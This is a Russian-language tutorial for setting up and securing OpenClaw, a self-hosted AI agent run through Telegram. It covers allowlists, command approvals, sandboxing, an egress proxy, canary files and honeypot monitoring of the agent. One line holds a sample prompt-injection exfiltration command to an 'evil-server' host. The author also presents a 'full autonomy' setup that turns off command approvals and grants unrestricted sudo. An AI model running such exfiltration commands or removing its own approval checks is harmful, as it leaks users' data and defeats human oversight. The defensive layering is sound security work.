OpenClaw — AI-агент в Telegram

Представь: ты просыпаешься, а в Telegram уже ждёт сообщение от твоего личного AI-ассистента. Он напоминает о встрече, которую ты упомянул неделю назад. Он помнит, что ты работаешь над проектом X, и предлагает идею. Он знает твои привычки, цели, контекст — потому что вы общаетесь месяцами, и он ничего не забывает.

Это OpenClaw (ранее ClawdBot, MoltBot) — open-source AI-агент, созданный Петером Штайнбергером. В феврале 2026 проект передан в open-source фонд, а сам Петер присоединился к OpenAI.

Почему не просто ChatGPT или Claude.ai?

Потому что у них амнезия. Каждый новый чат — и они забывают, кто ты. OpenClaw — это другая философия:

• Бесконечная память — помнит каждый разговор. Через год будет знать тебя лучше, чем ты сам.
• Автономность — сам напишет, когда нужно напомнить или предложить.
• Управление компьютером — файлы, браузер, терминал, API. Не просто отвечает — делает.
• Приватность — данные на твоём сервере, не в облаке.
• 24/7 — на VPS за ~300 ₽/мес доступен всегда.

Сравнение с другими AI-инструментами

Когда OpenClaw — правильный выбор: нужен личный ассистент с памятью, общение через Telegram, приватность, автоматизация задач.

Когда лучше другое: Cursor/Windsurf — для кодинга в IDE. Claude Code — для терминальной разработки. ChatGPT — для разовых вопросов без настройки.

Что понадобится

• Компьютер — macOS, Linux или Windows (через WSL2)
• Node.js 18+ — nodejs.org (минимум 18, рекомендуется 22 LTS)
• API-ключ — Claude (Anthropic) или OpenAI
• Telegram-бот — создадим через @BotFather

Шаг 1: Установка OpenClaw

curl -fsSL https://openclaw.ai/install.sh | bash

Скрипт скачает последнюю версию, добавит в PATH и проверит установку.

Шаг 2: Создание Telegram-бота

Шаг 3: Настройка (onboard)

openclaw onboard

Мастер настройки спросит:

1. API-ключ — вставь ключ Anthropic или OpenAI
2. Мессенджер — выбери Telegram
3. Telegram-токен — вставь токен от BotFather

После завершения отправь боту любое сообщение в Telegram — если ответил, всё работает!

Пока OpenClaw работает на твоём компьютере — он доступен только когда компьютер включён. Для работы 24/7 нужен VPS (Virtual Private Server) — виртуальный сервер в облаке.

Минимальные требования

• 2 ГБ RAM (рекомендуется 4 ГБ, если планируешь QMD)
• 20 ГБ диска (SSD/NVMe)
• Linux (Ubuntu 22.04+ или Debian 12+)
• Стоимость: от ~250 ₽/мес (от ~4€/мес)

Рекомендуемые провайдеры

Быстрая установка на VPS

После подключения к серверу по SSH:

# 1. Обновить систему
apt update && apt upgrade -y

# 2. Установить Node.js 22
curl -fsSL https://deb.nodesource.com/setup_22.x | bash -
apt-get install -y nodejs

# 3. Установить OpenClaw
curl -fsSL https://openclaw.ai/install.sh | bash

# 4. Настроить
openclaw onboard

# 5. Запустить как демон (работает после закрытия SSH)
openclaw gateway --install-daemon

Философия: «Ключи от офиса, но не от сейфа». Это личный VPS с ботом, не банковский сервер. Защищаем от утечки данных наружу и случайных посторонних, но не мешаем боту работать. Если бот сломает сервер — переустановка за 30 минут.

Ловушка: даже если exec-approvals разрешает sudo — слой tools.elevated перехватит его отдельно. Это hardcoded поведение: sudo, kill, rm и ряд других команд обрабатываются как «elevated» независимо от allowlist.

Важный нюанс: OpenClaw не различает «sudo хороший» и «rm плохой» — это один механизм. Либо все elevated-команды блокируются (и sudo, и rm, и kill), либо ни одна. Системного способа «пропустить sudo, но заблокировать rm» — нет.

Рекомендация для гайда: оставляйте tools.elevated.enabled: true (дефолт). Да, sudo будет запрашивать подтверждение — но это безопаснее, чем пропустить rm -rf /. Продвинутые пользователи могут отключить этот слой (см. секцию «Автономность»), но только при наличии других мер защиты.

Безопасность OpenClaw строится из нескольких уровней — от обязательного до продвинутого:

Уровень 1: Кто может писать боту (обязательно)

Без этого любой человек может найти твоего бота в Telegram и управлять им. Это первое, что нужно настроить.

В openclaw.json добавь Telegram allowlist:

"channels": {
  "telegram": {
    "dmPolicy": "allowlist",
    "groupPolicy": "allowlist",
    "allowFrom": ["ТВОЙ_TELEGRAM_ID"]
  }
}

Как узнать свой Telegram ID: отправь любое сообщение боту @userinfobot.

Уровень 2: Что бот может выполнить (рекомендуется)

Exec-approvals контролируют, какие команды бот может запускать. Создай файл ~/.openclaw/exec-approvals.json:

{
  "version": 1,
  "defaults": {
    "security": "allowlist",
    "ask": "on-miss",
    "askFallback": "deny",
    "autoAllowSkills": true
  },
  "agents": {
    "main": {
      "security": "allowlist",
      "ask": "on-miss",
      "askFallback": "deny",
      "autoAllowSkills": true,
      "allowlist": [
        { "pattern": "/usr/bin/openclaw" },
        { "pattern": "/usr/bin/ps" },
        { "pattern": "/usr/bin/systemctl" },
        { "pattern": "/usr/bin/tail" },
        { "pattern": "/usr/bin/cat" },
        { "pattern": "/usr/bin/ls" },
        { "pattern": "/usr/bin/grep" },
        { "pattern": "/usr/bin/find" }
      ]
    }
  }
}

Как это работает:

• security: "allowlist" — бот выполняет только команды из белого списка без вопросов
• ask: "on-miss" — если команды нет в списке, бот спросит разрешение в Telegram
• askFallback: "deny" — если ты не ответишь за ~120 сек, команда отклоняется

Почему именно эти значения: security: "allowlist" + ask: "on-miss" — это официальный дефолт OpenClaw, рекомендуемый документацией. askFallback: "deny" — безопасный вариант: бот не выполнит ничего опасного без твоего подтверждения.

Какие команды сознательно НЕ в allowlist:

Три уровня команд по риску:

Уровень 3: Sudo и системный доступ (по желанию)

Для продвинутых задач (самообновление, перезапуск gateway) боту нужен sudo. Два варианта:

Вариант A — Ограниченный (безопаснее):

neroot ALL=(ALL) NOPASSWD: /usr/local/bin/openclaw
neroot ALL=(ALL) NOPASSWD: /usr/bin/openclaw
neroot ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart openclaw-gateway
neroot ALL=(ALL) NOPASSWD: /usr/bin/systemctl status openclaw-gateway
neroot ALL=(ALL) NOPASSWD: /usr/bin/npm

Вариант B — Полный доступ (для личного VPS):

neroot ALL=(ALL) NOPASSWD: ALL

Когда Вариант B — ОК: это личный VPS, exec-approvals + Telegram allowlist уже фильтруют кто и что может запустить. Ограниченный sudoers на практике приводит к «permission denied» на каждой новой команде.

Уровень 4: Docker sandbox для субагентов (продвинутое)

Субагенты (параллельные задачи) работают в Docker-контейнере с ограничениями. Главный агент работает на хосте.

"agents": {
  "defaults": {
    "sandbox": {
      "mode": "non-main",
      "workspaceAccess": "rw",
      "scope": "session",
      "docker": {
        "memory": "1536m",
        "memorySwap": "2g",
        "pidsLimit": 256,
        "capDrop": ["ALL"],
        "network": "openclaw-egress"
      }
    }
  }
}

Уровень 5: Egress whitelist — контроль исходящего трафика

Это самый мощный слой защиты при полной автономии бота. Даже если prompt injection заставит бота выполнить curl https://evil-server.com/steal?data=... — прокси заблокирует запрос. Данные физически не смогут уйти на неизвестный сервер.

Работает через tinyproxy на хосте с режимом FilterDefaultDeny On — разрешены только домены из белого списка, всё остальное блокируется.

Port 8888
Allow 127.0.0.1
Allow 172.28.0.0/16
Filter "/etc/tinyproxy/filter.txt"
FilterDefaultDeny On    # ВСЁ что не в списке — заблокировано
FilterURLs Off
FilterCaseSensitive Off

Белый список доменов (/etc/tinyproxy/filter.txt) — добавляйте только те домены, которые реально нужны вашему боту:

# AI-провайдеры (добавьте тех, кого используете)
api\.anthropic\.com
api\.openai\.com
.*\.googleapis\.com

# Мессенджер (обязательно для вашего канала)
api\.telegram\.org

# OpenClaw (обязательно)
.*\.openclaw\.ai
.*\.clawhub\.com

# Поиск (если бот ищет в интернете)
api\.tavily\.com
.*\.wikipedia\.org

# GitHub (если бот работает с кодом)
api\.github\.com
raw\.githubusercontent\.com

# npm/pip (если бот обновляется сам)
registry\.npmjs\.org

Принцип: начните с минимума (AI-провайдер + мессенджер + OpenClaw) и добавляйте домены по мере необходимости. Каждый новый домен — потенциальная точка утечки.

Подключение sandbox к прокси — в openclaw.json в docker.env:

"docker": {
  "network": "openclaw-egress",
  "env": {
    "HTTP_PROXY": "http://172.28.0.1:8888",
    "HTTPS_PROXY": "http://172.28.0.1:8888",
    "NO_PROXY": "localhost,127.0.0.1"
  }
}

Docker-сеть создаётся один раз:

# Создать сеть
docker network create --subnet=172.28.0.0/16 openclaw-egress

# Открыть порт прокси из контейнера на хост
iptables -I INPUT -i br-$(docker network inspect openclaw-egress \
  -f '{{.Id}}' | head -c 12) -p tcp --dport 8888 -j ACCEPT

Мониторинг: canary-файлы и аудит-лог

Два дополнительных механизма для обнаружения проблем:

Canary-файлы — скрипт проверяет хеши критичных файлов при каждом heartbeat (~55 мин). Если openclaw.json, exec-approvals.json или filter.txt изменились без вашего ведома — вы получите уведомление.

Аудит-лог — hook на выполнение команд, который логирует все вызовы sudo, rm, curl и других опасных команд в отдельный файл. Полезно для post-mortem анализа, если что-то пошло не так.

Итого: что реально важно

Что НЕ нужно (частые ошибки)

OpenClaw может использовать несколько AI-моделей одновременно. Основная модель обрабатывает чат, а fallback-модели подхватывают, если основная недоступна.

Доступные модели

Конфигурация fallbacks

"agents": {
  "defaults": {
    "model": {
      "primary": "anthropic/claude-opus-4-6",
      "fallbacks": [
        "openai-codex/gpt-5.4",
        "openai-codex/gpt-5.2",
        "google-gemini-cli/gemini-3-pro-preview"
      ]
    },
    "models": {
      "anthropic/claude-opus-4-6": { "alias": "opus", "params": { "cacheRetention": "long" } },
      "openai-codex/gpt-5.4": { "alias": "gpt54" },
      "openai/gpt-5.2": { "alias": "gpt52" },
      "google/gemini-2.5-flash": { "alias": "flash" },
      "google-gemini-cli/gemini-3-pro-preview": { "alias": "gemini" }
    }
  }
}

Алиасы позволяют переключать модель на лету: /model opus, /model flash и т.д. Сессия не сбрасывается — новая модель получает всю историю.

Подключение Claude Max (setup-token)

Claude Max ($100/мес) можно использовать вместо API — через механизм setup-token.

# Сгенерировать токен (на машине с Claude Code CLI)
claude setup-token

# Вставить токен на сервере
openclaw models auth paste-token --provider anthropic --expires-in 365d

# Проверить
openclaw models status
# anthropic:manual ok expires in 365d

Heartbeat — поддержание кеша и мониторинг

Heartbeat — фоновый пинг, который OpenClaw отправляет с заданным интервалом. Зачем: поддерживает prompt cache «тёплым» (экономит токены) и может выполнять проверки (canary-файлы, мониторинг).

"heartbeat": {
  "every": "55m",
  "model": "google/gemini-2.5-flash"
}

Почему 55 минут: кеш prompt caching с cacheRetention: "long" живёт 1 час. Heartbeat каждые 55 минут продлевает его — кеш никогда не протухает.

Почему flash: heartbeat использует отдельную дешёвую модель (API key, не OAuth), чтобы не нагружать основную подписку и не ломаться при протухании OAuth-токена.

Ротация setup-token

Setup-token истекает через указанный срок (обычно 365 дней). Для ротации:

1. На машине с Claude Code: claude setup-token (генерирует новый)
2. На сервере: openclaw models auth paste-token --provider anthropic --expires-in 365d
3. Hot-reload: kill -USR1 $(pgrep -f openclaw-gateway | head -1)

Шаги 3–4 из первоначальной настройки (добавление модели в каталог) повторять не нужно — только токен.

Hot-reload после любого изменения конфига (без перезапуска):

kill -USR1 $(pgrep -f openclaw-gateway | head -1)

Каждое сообщение стоит токены — будь то подписка с квотой или API с оплатой за использование. Вот как тратить меньше и получать ответы быстрее.

Prompt Caching (кеширование промптов)

Системный промпт (инструкции, описания инструментов) весит 5,000–15,000 токенов и отправляется при каждом запросе. Кеширование позволяет запомнить эту часть.

"anthropic/claude-opus-4-6": {
  "alias": "opus",
  "params": { "cacheRetention": "long" }
}

• "short" — кеш 5 минут (для активного чата)
• "long" — кеш 1 час (для редких запросов)

Keep-warm трюк: heartbeat каждые 55 минут продлевает часовой кеш. Кеш никогда не протухает → экономия ~15,000 токенов на каждом сообщении.

Лимит токенов на ответ (maxTokens)

GPT-модели склонны к «словоблудию» — генерируют длинные ответы даже на простые вопросы. maxTokens — физический поводок:

"openai-codex/gpt-5.4": {
  "alias": "gpt54",
  "params": { "maxTokens": 1500 }
},
"openai/gpt-5.2": {
  "alias": "gpt52",
  "params": { "maxTokens": 1500 }
}

1500 токенов ≈ 1000 слов. Достаточно для полноценных ответов. Для Claude Opus на Max-подписке maxTokens не нужен — фиксированная квота, длина не влияет.

Оптимизация «зрения» (Vision)

Изображения стоят в 5–10 раз дороже обычного текста.

"imageMaxDimensionPx": 800

Уменьшает изображения до 800px перед отправкой. Картинка 1200px → ~1500 токенов, 800px → ~700 токенов. Качество распознавания почти не страдает.

Ускорение стриминга

По умолчанию OpenClaw добавляет искусственную паузу между блоками текста. Отключаем:

"humanDelay": { "mode": "off" }

Защита от зацикливания

Агент может застрять в цикле — вызывать сломанный инструмент снова и снова. В OpenClaw 2026.3 прямых ключей maxToolRetries нет, но есть:

• sessions.agentToAgent.maxPingPongTurns — лимит межагентных ходов (0–5)
• agents.defaults.subagents.runTimeoutSeconds — таймаут подагентов
• Системный промпт: «Если инструмент не работает 3 раза — прекрати и сообщи»

Стандартный поиск OpenClaw по памяти — простой: ищет по ключевым словам или читает файлы целиком. Это тратит токены и часто пропускает нужное. QMD — локальный поисковый движок, который заменяет это на трёхступенчатый поиск:

1. Лексический (BM25) — точные совпадения слов, аббревиатуры, код
2. Векторный (semantic) — по смыслу («настройки сети» найдёт «роутер и IP»)
3. ИИ-реранкинг — нейросеть оценивает топ-30 и отдаёт только релевантное

Результат: 2–3 точных абзаца вместо чтения десятков файлов → до 90% экономии токенов.

Установка QMD

# Зависимости
apt-get install -y unzip sqlite3 libsqlite3-dev
curl -fsSL https://bun.sh/install | bash
export PATH="$HOME/.bun/bin:$PATH"

# Установить QMD
bun install -g https://github.com/tobi/qmd
bun pm -g trust @tobilu/qmd
bun pm -g trust node-llama-cpp
bun pm -g trust better-sqlite3

# Собрать
cd ~/.bun/install/global/node_modules/@tobilu/qmd
bun add -d @types/node
bun run build

# Проверка
qmd --help

Индексация и подключение

# Добавить workspace
qmd collection add /home/neroot/.openclaw/workspace --name workspace

# Сгенерировать эмбеддинги (~330 МБ модель при первом запуске)
qmd embed

# Проверить
qmd status

В openclaw.json добавить секцию memory на корневом уровне (рядом с agents, НЕ внутри):

"memory": {
  "backend": "qmd",
  "qmd": {
    "includeDefaultMemory": true,
    "update": { "interval": "5m" }
  }
}

Режимы поиска QMD

Расширение RAM (Swap)

Если на VPS мало RAM (< 4 ГБ), а нужен QMD — добавьте swap:

fallocate -l 4G /swapfile
chmod 600 /swapfile
mkswap /swapfile
swapon /swapfile
echo '/swapfile none swap sw 0 0' >> /etc/fstab
free -h

Бот может обновляться сам, перезапускать gateway, управлять памятью — но в рамках безопасности.

Forwarding запросов в Telegram

Когда бот хочет выполнить команду не из allowlist — ты получаешь уведомление:

"approvals": {
  "exec": {
    "enabled": true,
    "mode": "targets",
    "agentFilter": ["main"],
    "targets": [
      { "channel": "telegram", "to": "ТВОЙ_TELEGRAM_ID" }
    ]
  }
}

Бот пришлёт CONFIRM <OTP>. Ты отвечаешь: /approve <id> allow-once или /approve <id> deny.

Elevated exec — третий слой блокировки

tools.elevated — это отдельный механизм, который перехватывает «опасные» команды (sudo, kill и др.) поверх exec-approvals. Даже если allowlist разрешает sudo — elevated заблокирует его отдельно. Это самая частая причина проблемы «настроил allowlist, а sudo не работает».

Два способа управления:

Способ 1 — Через Telegram (динамически):

Способ 2 — Через конфиг (постоянно):

"tools": {
  "elevated": {
    "enabled": false
  }
}

enabled: false — elevated-слой полностью отключён. Все команды (включая sudo, rm, kill) контролируются только через exec-approvals.

Конфигурация полной автономии (от Артура ИИмерсивного)

Автор этого гайда использует максимально автономную конфигурацию. Бот не спрашивает разрешения ни на одну команду — всё контролируется через другие слои защиты.

// exec-approvals.json
{
  "version": 1,
  "defaults": {
    "security": "full",
    "ask": "off"
  }
}

// openclaw.json
"tools": {
  "elevated": { "enabled": false }
},
"approvals": {
  "exec": { "enabled": false }
}

Почему это работает безопасно:

"Умный Бастион" — собственная система безопасности поверх ОС

Встроенные exec-approvals OpenClaw работают на уровне приложения — prompt injection теоретически может их обойти. Поэтому мы построили дополнительную защиту на уровне ОС, которую бот не контролирует и не может отключить.

Принцип: даже если OpenClaw полностью скомпрометирован через prompt injection — обёртки на уровне ОС сработают. Бот не знает об их существовании и не может их отключить.

Агент (полная автономия)
  │
  ├── AGENTS.md denylist ──────── правила поведения (уровень промпта)
  ├── exec-denylist-check.sh ──── программный блок + алерт (уровень ОС)
  ├── Honeypot-файлы ──────────── ловушки на чтение (уровень ОС)
  ├── Anomaly detector ────────── анализ логов (cron)
  ├── Canary-check ────────────── хеши конфигов (heartbeat)
  ├── Immutable бэкапы ────────── chattr +i (уровень FS)
  ├── Tinyproxy whitelist ─────── фильтр трафика (уровень сети)
  ├── Git auto-commit ─────────── снапшоты (cron)
  └── Docker sandbox ──────────── изоляция субагентов (контейнер)
       └── sudoers ────────────── ограниченный список команд (уровень ОС)

OAuth Token Keeper

OAuth-токены (ChatGPT Plus, Google) имеют короткий срок жизни. Если несколько процессов одновременно попытаются обновить протухший токен — race condition: один использует refresh token, второй получает ошибку, авторизация рвётся.

Решение: cron-скрипт каждые 20 минут проактивно обновляет токены до того, как они протухнут:

*/20 * * * * /usr/bin/python3 /usr/local/bin/oauth-token-keeper.py >> /var/log/oauth-token-keeper.log 2>&1

Как это работает:

1. Читает auth-profiles.json (файл с OAuth-токенами, отдельный от openclaw.json)
2. Для каждого провайдера проверяет: до истечения токена < 15 мин?
3. Если да — обновляет через API провайдера проактивно
4. Использует flock — только один процесс обновляет одновременно (решает race condition)
5. Атомарная запись (tempfile + rename) — никогда не повредит файл
6. Шлёт kill -USR1 gateway для перечитывания

Ключевая идея: токен обновляется ДО того, как протухнет. Gateway и субагенты всегда видят свежий токен → race condition невозможен.

Ротация логов

Без ротации логи OpenClaw растут бесконечно и могут забить диск. Logrotate — стандартный инструмент Linux для автоматической ротации:

/tmp/openclaw/openclaw-*.log {
    daily
    rotate 7
    compress
    delaycompress
    missingok
    notifempty
    copytruncate
    size 50M
}

Opus — главный координатор. Он получает задачу и выбирает, какую модель запустить как субагент:

┌─────────────────────────────────────────────────┐
│  Opus (primary) — координирует всё              │
│                                                 │
│  Получает задачу → выбирает модель → spawn      │
├─────────────────────────────────────────────────┤
│                                                 │
│  ┌──────────┐  ┌──────────┐  ┌──────────────┐  │
│  │  codex   │  │  gpt54   │  │   gemini     │  │
│  │ gpt-5.3  │  │ gpt-5.4  │  │ gemini-3-pro │  │
│  │          │  │          │  │              │  │
│  │ Код,     │  │ Ревью,   │  │ Big context  │  │
│  │ скрипты  │  │ план     │  │ (2M)         │  │
│  └──────────┘  └──────────┘  └──────────────┘  │
│                                                 │
│  ┌──────────┐  Heartbeat: flash (55 мин)        │
│  │  flash   │                                   │
│  │ gem-2.5  │  Дефолт для субагентов             │
│  │ Простые  │                                   │
│  └──────────┘                                   │
└─────────────────────────────────────────────────┘

Конфигурация

"agents": {
  "defaults": {
    "subagents": {
      "maxConcurrent": 8,
      "model": "google/gemini-2.5-flash"
    },
    "heartbeat": {
      "every": "55m",
      "model": "google/gemini-2.5-flash"
    }
  },
  "list": [
    {
      "id": "main",
      "name": "Main",
      "tools": { "profile": "coding" }
    }
  ]
}

Правила выбора модели при spawn

Почему один агент: проще. Opus координирует и выбирает модель для каждого субагента по задаче. Дефолтная модель субагентов — flash (API key, бессрочный, стабильный).